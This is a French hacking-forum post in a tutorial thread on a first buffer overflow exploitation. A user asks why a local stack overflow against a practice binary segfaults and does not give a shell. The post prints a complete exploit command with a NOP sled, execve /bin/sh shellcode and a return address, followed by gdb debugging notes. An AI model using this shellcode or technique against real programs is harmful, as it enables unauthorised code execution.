Buffer overflow, Votre première exploitation
|
20-05-2014, 14h36
(Modification du message : 20-05-2014, 15h28 par Hypnoze57.)
Message : #15
|
|
Hypnoze57
![]() Web Hacker ![]() Messages : 98 Sujets : 13 Points: 28 Inscription : Feb 2012 |
RE: Buffer overflow, Votre première exploitation
Hum je ne comprends pas pourquoi ceci ne fonctionne pas.. :
Code : w00t@debian:~/applicatif/buffer_overflow$ ./fr0g `perl -e 'print "\x90"x237 . "\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x10\xe4\xff\xff\xff\x7f"'` rip est bien réecrit avec la bonne adresse mémoire (trouvé avec gdb avec x/64x $rsp -512) Pourquoi j'ai un seg fault et ne suis pas redirigé vers /bin/sh? J'ai peu être identifier le problème, je regardai le fichier core alors qu'en le faisant directement dans gdb avec 236 j'ai 2 caractères qui manque dans mon adresse (comme fr0g d'ailleur) et avec 237 sous gdb l'adresse change pas mal.. Adresse à obtenir: 0x7fffffffe410 rip avec 236 (sous gdb ET fichier core) : 0x7fffffffe4 rip avec 237 (sous gdb) : 0x7fffffffe50b rip avec 237 (fichier core) : 0x7fffffffe410 (Bonne adresse !!) Auriez-vous des idées? Make your own destiny now and forever !
|
|
« Sujet précédent | Sujet suivant »
|
Sujets apparemment similaires… | |||||
Sujet | Auteur | Réponses | Affichages | Dernier message | |
Metasploit, les bases et exploitation | itcef | 9 | 1,289 |
25-09-2014, 23h26 Dernier message: The_Dark_Line |
Utilisateur(s) parcourant ce sujet : 2 visiteur(s)